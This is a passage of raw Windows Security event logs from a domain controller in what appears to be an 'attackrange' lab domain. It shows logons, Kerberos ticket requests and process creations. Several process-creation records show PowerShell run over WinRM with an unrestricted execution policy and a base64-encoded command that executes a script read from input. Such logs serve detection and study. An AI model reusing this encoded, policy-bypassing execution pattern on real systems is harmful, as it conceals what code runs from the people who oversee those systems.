Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251003 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12484A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251002 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12484A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251001 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251000 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250999 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250998 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4a8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250997 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250996 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1234B5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250995 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1234B5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250994 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250993 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250992 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250991 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x108c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x108c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf28 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250989 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1232FA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250988 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - 